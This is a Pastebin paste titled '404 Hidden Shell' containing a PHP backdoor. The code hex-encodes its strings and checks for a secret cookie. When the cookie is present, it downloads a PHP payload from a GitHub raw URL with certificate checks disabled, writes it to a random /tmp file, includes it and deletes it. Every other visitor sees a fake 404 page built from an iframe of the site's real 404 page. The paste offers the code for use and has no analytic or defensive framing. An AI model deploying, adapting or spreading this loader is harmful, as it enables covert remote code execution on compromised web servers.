Advertisement
willysec_id

404 Hidden Shell

Jun 8th, 2025
346
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.77 KB | Cybersecurity | 0 0
  1. <?php
  2. @ini_set('display_errors',0);
  3. function _x7k9p($s){
  4.     $r='';
  5.     for($i=0;$i<strlen($s);$i+=2){
  6.         $r.=chr(hexdec(substr($s,$i,2)));
  7.     }
  8.     return $r;
  9. }
  10. function _z3m5q($u){
  11.     if(function_exists('curl_exec')){
  12.         $c=curl_init($u);
  13.         curl_setopt_array($c,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_FOLLOWLOCATION=>1,CURLOPT_USERAGENT=>'Mozilla/5.0',CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0]);
  14.         $r=curl_exec($c);
  15.         curl_close($c);
  16.         return $r;
  17.     }
  18.     return false;
  19. }
  20. function _y4n2j(){
  21.     $a=_x7k9p('6c757368');
  22.     return isset($_COOKIE[$a])&&$_COOKIE[$a]===_x7k9p('666c61766f72');
  23. }
  24. if(_y4n2j()){
  25.     $u=_x7k9p('68747470733a2f2f')._x7k9p('7261772e67697468756275736572636f6e74656e742e636f6d2f64616e313538342f617366646173').'/'._x7k9p('726566732f68656164732f6d61696e2f6173772e706870');
  26.     $d=_z3m5q($u);
  27.     if($d!==false){
  28.         $randDir='/tmp/tmp_'.uniqid().'_'.rand(1000,9999);
  29.         $randFile=$randDir.'/temp_'.md5(uniqid()).'.'.strtolower('php');
  30.         mkdir($randDir, 0775, true);
  31.         call_user_func(_x7k9p('66696c655f7075745f636f6e74656e7473'), $randFile, $d);
  32.         include $randFile;
  33.         unlink($randFile);
  34.         rmdir($randDir);
  35.     }
  36.     else{
  37.         echo '?'.$u;
  38.     }
  39.     exit;
  40. }
  41. ?><!DOCTYPE html><html><head><title>404 Not Found</title><meta name="robots" content="noindex,nofollow"><style>html,body{margin:0;padding:0;overflow:hidden;width:100%;height:100%}body{font-family:sans-serif}iframe{position:absolute;top:0;left:0;border:none;width:100%;height:100%}</style></head><body><iframe src="//<?php echo $_SERVER['SERVER_NAME']; ?>/404" id="iframe_id" onload="document.title=this.contentDocument ? this.contentDocument.title : this.contentWindow.document.title;"></iframe></body></html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement